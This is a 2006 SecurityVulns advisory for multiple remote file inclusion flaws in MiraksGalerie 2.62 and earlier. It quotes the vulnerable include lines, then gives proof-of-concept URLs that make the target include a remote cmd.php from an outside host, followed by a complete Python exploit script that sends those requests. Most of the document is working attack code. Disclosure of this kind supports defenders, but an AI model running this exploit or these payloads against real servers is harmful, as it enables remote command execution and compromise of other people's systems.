MiraksGalerie <= 2.62 Multiple Remote command execution

2006-06-08T00:00:00
ID SECURITYVULNS:DOC:13029
Type securityvulns
Reporter Securityvulns
Modified 2006-06-08T00:00:00

Description

/ Federico Fazzi, <federico@autistici.org> / MiraksGalerie <= 2.62 Remote command execution */ 07/06/2006 4:58

Bug:

pcltar.lib.php: line 34 - 35


if (!isset($g_pcltar_lib_dir)) $g_pcltar_lib_dir = "lib"; [etc..]


galimage.lib.php: line: 157 - 158


for($i=count($listconfigfile)-1; $i>=0; $i--) include($listconfigfile[$i]);


galsecurity.lib.php: line: 90 - 93


for($i=count($listconfigfile)-1; $i>=0; $i--) { include_once($listconfigfile[$i]); }


Proof of concept:

http://example/[mg_path]/pcltar.lib.php?g_pcltar_lib_dir=http://example/cmd.php?exec=uname http://example/[mg_path]/galimage.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname http://example/[mg_path]/galsecurity.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname

you can use too the exploit f_mg-2.62.py

Exploit:

!/usr/bin/env python

MiraksGalerie <= 2.62 Multiple Remote command execution

python f_mg-2.62.py <remote_addr> <remote_port> <remote_path> <remote_cmd> <command>

Federico Fazzi <federico@autistici.org>

more info see advisory.

need register_global = On

import os, sys, socket

usage = "run: python %s [remote_addr> [remote_port] [remote_path] [remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6: print usage sys.exit() else: host = sys.argv[1] port = int(sys.argv[2]) path = sys.argv[3] cmd = sys.argv[4] command = sys.argv[5]

    print &quot;MiraksGalerie &lt;= 2.62 Remote command execution&quot;
    print &quot;Federico Fazzi &lt;federico@autistici.org&gt;&#92;n&quot;

    includers = [&#39;pcltar.lib.php?g_pcltar_lib_dr=&#39;, &#39;galimage.lib.php?listconfigfile[0]=&#39;,
                 &#39;galsecurity.lib.php?listconfigfile[0]=&#39;]

    for inc in includers:
            print &quot;&gt;&gt; i try string &#37;s&quot; &#37; inc
            sock = socket.socket&#40;socket.AF_INET, socket.SOCK_STREAM&#41;
            sock.connect&#40;&#40;host, port&#41;&#41;
            sock.send&#40;&quot;GET &#37;s&#37;s&#37;s?cmd=&#37;s &#92;r&#92;n&quot; &#37; &#40;path, inc, cmd, command&#41;&#41;
    print &quot;&#92;n&gt;&gt; reading.. done&#92;n&quot;
    buf = sock.recv&#40;2048&#41;
    print buf